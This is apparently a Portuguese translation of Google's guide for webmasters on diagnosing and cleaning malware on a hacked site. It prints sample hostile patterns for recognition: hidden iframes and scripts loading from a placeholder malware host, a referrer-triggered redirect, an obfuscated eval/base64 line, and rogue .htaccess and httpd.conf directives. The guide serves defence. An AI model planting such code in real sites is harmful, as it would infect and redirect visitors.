Invasão com malware

Malware é qualquer software ou aplicativo para dispositivos móveis projetado especificamente para prejudicar uma computador, dispositivo móvel, software em execução ou usuários. Para mais informações sobre o que é malware, consulte Malware e software indesejado.

Se o site tiver malware, os usuários geralmente verão o aviso A mensagem "Este site pode danificar seu computador", exibida nos resultados da pesquisa ou em uma página intersticial mostrada pelo navegador quando o usuário tenta acessar seu no site, mais ou menos assim:

Página intersticial de malware representativa
Resultados da pesquisa com um aviso de malware.
.

Você precisará do seguinte:

  • Acesso de administrador shell ou de terminal aos servidores do seu site: Web, banco de dados, e arquivos.
  • Conhecimento de comandos de shell ou terminal.
  • Capacidade de executar consultas SQL no banco de dados.

Preparação

  • Inscreva-se no Search Console e confirmar a propriedade do site invadido, conforme descrito nele. O Search Console fornece uma amostra das páginas afetadas, o que facilita a descoberta e a correção de problemas de invasão com malware. Além disso, você será avisado quando detectamos que o site foi afetado por muitos tipos de malware ou outras invasões.
  • Consulte a página de diagnóstico de Navegação segura do Google para ver informações públicas sobre a possibilidade de um site causar danos aos usuários. Você pode ver o status da ficha da sua página ou site em um URL semelhante a este: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Por exemplo: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> pode ser o URL de uma página específica (http://example.com/badpage) ou seu site inteiro (example.com).

  • Evite usar um navegador para visualizar as páginas do seu site. Como o malware geralmente se espalha pela exploração de vulnerabilidades do navegador, abrindo uma camada infectada do navegador em um navegador pode danificar o computador. A menos que as instruções de diagnóstico digamos, para acessar a página diretamente no navegador, use cURL ou Wget para executar solicitações HTTP (por exemplo, buscar uma página).

    Essas ferramentas disponíveis sem custo financeiro são úteis no diagnóstico de redirecionamentos e têm a flexibilidade de incluir informações de referenciador ou de user agent. Incluir um referenciador ou user agent específico é útil para imitar os hackers, porque os hackers podem veicular conteúdo malicioso somente para usuários com user agents ou referenciadores para segmentar mais "pessoas reais" e evitar de proprietários de sites e scanners de malware.

`curl -v --referer "http://www.google.com" <your-url>`

Veja um exemplo que especifica um user agent e um referenciador:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Recomendamos buscar uma página com e sem --referer "https://www.google.com", porque alguns malwares só são ativados quando os usuários vêm dos resultados da Pesquisa Google.

  • Crie um documento para registrar os resultados desta etapa. O documento incluir, no mínimo, o nome e o local de cada arquivo danificado e anotações sobre como ele foi infectado e servirá de base para Faça a limpeza e a manutenção do seu site.

  • Assista ao vídeo anterior nesta página para ver como o malware funciona e como é possível proteger-se durante a investigação do malware.

Diagnóstico

Determinar qual malware está afetando o site:

  1. Abra o Relatório de problemas de segurança. para seu site no Search Console. Expanda a descrição do aviso de malware para ver uma lista de exemplos de páginas afetadas. Esta não é uma lista completa. talvez você não receba páginas de exemplo para todos os tipos de malware no seu site.
  2. Teste suas páginas de exemplo para os seguintes tipos de malware.
.

Malware na configuração do servidor (redirecionamentos indesejados)

Um hacker comprometeu seu site e está redirecionando os visitantes do site ao site de ataque de malware, provavelmente modificando o arquivos de configuração. Os arquivos de configuração do servidor geralmente permitem que o site administrador especifique redirecionamentos de URL para páginas ou diretórios específicos em uma site. Por exemplo, em servidores Apache, esse é o arquivo .htaccess e também httpd.conf.

Diagnóstico

Acesse alguns dos URLs de exemplo mostrados no relatório Problemas de segurança. Uma resposta de uma página infectada com a "configuração do servidor" a infecção pode incluir seguintes cabeçalhos:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Determinar os arquivos afetados

Fazer login no seu servidor pelo acesso shell ou do terminal (o site pode estar off-line) se você quiser) e analise os arquivos de configuração do servidor relevantes. Pode haver mais de um arquivo de configuração do servidor invadido no seu site. Verifique se esses arquivos diretivas indesejadas, como redirecionamentos para sites desconhecidos. Por exemplo, na .htaccess, talvez apareça um redirecionamento assim:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

Injeção de SQL

Um hacker comprometeu o banco de dados do seu site. Por exemplo, o hacker pode inseriram programaticamente código malicioso em todos os registros de um banco de dados de modo que, quando o servidor carregar uma página que requer informações do banco de dados, o código malicioso agora está incorporado ao conteúdo da página e pode prejudicar os visitantes do site.

Diagnóstico

  1. Execute algumas consultas nos URLs afetados na linha de comando e examine o resposta para palavras de ataque SQL, como "iframe" ou "eval".
  2. Faça login no seu servidor de banco de dados ou visualize seu banco de dados com uma ferramenta como phpMyAdmin. Se você usou Wget ou cURL, tente correlacionar o dano encontrado na fonte da página pelo Wget ou cURL com as entradas reais do banco de dados. Por exemplo, se perceber que suas páginas incluíam um iframe perigoso, execute uma solicitação consulta de pesquisa por código iframe. Exemplo:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. Também é possível verificar o registro do banco de dados e os arquivos de erro no servidor atividades incomuns, como comandos SQL inesperados que parecem incomuns para usuários ou erros comuns.

Corrigir o problema

Atualize cada registro do banco de dados infectado ou restaure seu último banco de dados conhecido backup.

Injeção de código

As páginas do seu site foram modificadas para incluir código malicioso, como um iframe para um site de ataque de malware.

Diagnóstico

Acesse alguns dos URLs de exemplo mostrados no Relatório de problemas de segurança com cURL ou wGet e examinar se há código suspeito. O código injetado pode ter muitos tipos ser difíceis de encontrar. Pode ser útil pesquisar palavras como "iframe" para encontrar código iframe. Outras palavras-chave úteis são "script", "eval" e "unescape". Para exemplo, para pesquisar "iframe" em todos os arquivos em sistemas Unix:

$grep -irn "iframe" ./ | less</pre>

Aqui estão alguns padrões de malware comuns que podem ser procurados.

Um iframe que carrega um site malicioso:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript ou outra linguagem de script que chama e executa scripts de uma site invasor:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Scripts que redirecionam o navegador para um site invasor:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Código malicioso que é ofuscado para evitar a detecção:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

Arquivos de objetos compartilhados projetados para escrever aleatoriamente um código nocivo para outro elemento benigno scripts:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Modelos de erro maliciosos

O modelo usado para mensagens de erro, como "404 Arquivo não encontrado", está configurado para distribuir malware. Dessa forma, os atacantes podem lançar ataques nos URLs que nem existem no seu site.

Diagnóstico

Solicite uma página em seu site que não existe ou que acione outro tipo de e examine a resposta para ver se ela vem de outro site ou que contenha malware.

Corrigir o problema

Faça login no servidor da Web e procure erros nos arquivos de configuração do servidor diretivas de página. Por exemplo, o modelo de erro para servidores da Web Apache pode ser declarado no arquivo .htaccess. Confira um exemplo de entrada de arquivo .htaccess que recupera páginas de erro 404 de um site malicioso:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Quando estiver tudo pronto para limpar seu site, substitua os arquivos .htaccess com um bom backup conhecido ou excluir as diretivas ErrorDocument indesejadas na arquivo(s) .htaccess existente(s). Certifique-se também de limpar os arquivos de erro reais se elas existem no seu site. Por fim, reinicie o servidor da Web para garantir as mudanças entrem em vigor.

Recursos carregados de um site comprometido ou malicioso {compromised-resources}

Seu site usa conteúdo ou recursos de um site que é conhecido por conter conteúdo malicioso. Eles podem ser arquivos JavaScript, imagens ou outros arquivos. Por isso, seu site será sinalizado como contendo malware carregado por essa site.

Diagnóstico

Acesse alguns dos URLs de exemplo mostrados no relatório Problemas de segurança.

Corrigir o problema

  1. Confirme o problema acessando alguns dos URLs de exemplo listados na o Relatório de problemas de segurança no Search Console. Você verá um aviso do navegador.
  2. O aviso do navegador informará o domínio do conteúdo questionável. Remova todas as referências ao site sinalizado no aviso do navegador. Se o conteúdo de um site sinalizado foi incluído sem seu conhecimento, o problema é mais sério. Seu site provavelmente foi comprometido, e você deve continuar a examinar o site em busca de outras invasões e vulnerabilidades.
  3. Se você incluiu intencionalmente conteúdo de um site legítimo que se tornou sinalizado e quiser incluir novamente o conteúdo depois que o site sinalizado for limpo, você pode monitorar o status do site sinalizado usando o Página de diagnóstico da Navegação segura do Google para esse site (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. Os proprietários de sites legítimos geralmente fazem a limpeza deles rapidamente.

Investigação adicional

Em seguida, verifique se há outros arquivos maliciosos ou alterações no seu sistema. A o hacker pode ter modificado páginas ou registros de bancos de dados existentes, criado novas páginas com spam, funções escritas que exibem spam em páginas limpas ou que "portas dos fundos" que permitem a reentrada do hacker no site ou que injetam o código malicioso removido.

Se o site estiver on-line, deixe-o off-line para investigação.

Se você tem um bom backup do seu site, determine quais arquivos foram criados ou modificados desde o backup e investigá-los. Com base em Unix é possível usar um comando como o seguinte para encontrar novos arquivos:

diff -qr <current-directory> <backup-directory>

Exemplo:

diff -qr www/ backups/full-backup-20120124/

também:

md5sum <current-page> <backup-page>

Exemplo:

md5sum www/page.html backups/full-backup-20120124/page.html

Verifique se há atividades suspeitas nos registros do servidor, acesso e erros, como: tentativas de login malsucedidas, histórico de comandos (especialmente como raiz) e a criação de contas de usuário desconhecidas. Esteja ciente de que o hacker pode ter alterado esses registros para seus próprios fins. Alguns exemplos são mostrados no vídeo para Identifique a vulnerabilidade.

Verifique os redirecionamentos nos arquivos de configuração. Seus arquivos de configuração são normalmente chamados de .htaccess e httpd.conf. Os hackers muitas vezes criam regras redireciona com base no user agent, na hora do dia ou no referenciador. Se você precisar atualizar os arquivos de configuração, talvez seja necessário reiniciar o servidor que as mudanças entrem em vigor.

Verifique se há permissões excessivamente flexíveis para pastas e arquivos. Os hackers adulteram permissões porque se as permissões brandas não forem detectadas pelo proprietário do site, o invasor poderá entrar no site novamente. Arquivos maiores que 644 (rw-r--r--) e pastas maiores que 755 (rwxr-xr-x) podem causar problemas de segurança problemas. Certifique-se de que todas as permissões mais abrangentes são realmente necessárias. Ativado Sistemas Unix, tente:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

e:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Se você tiver um banco de dados, investigue registro por registro, usando uma ferramenta como phpMyAdmin.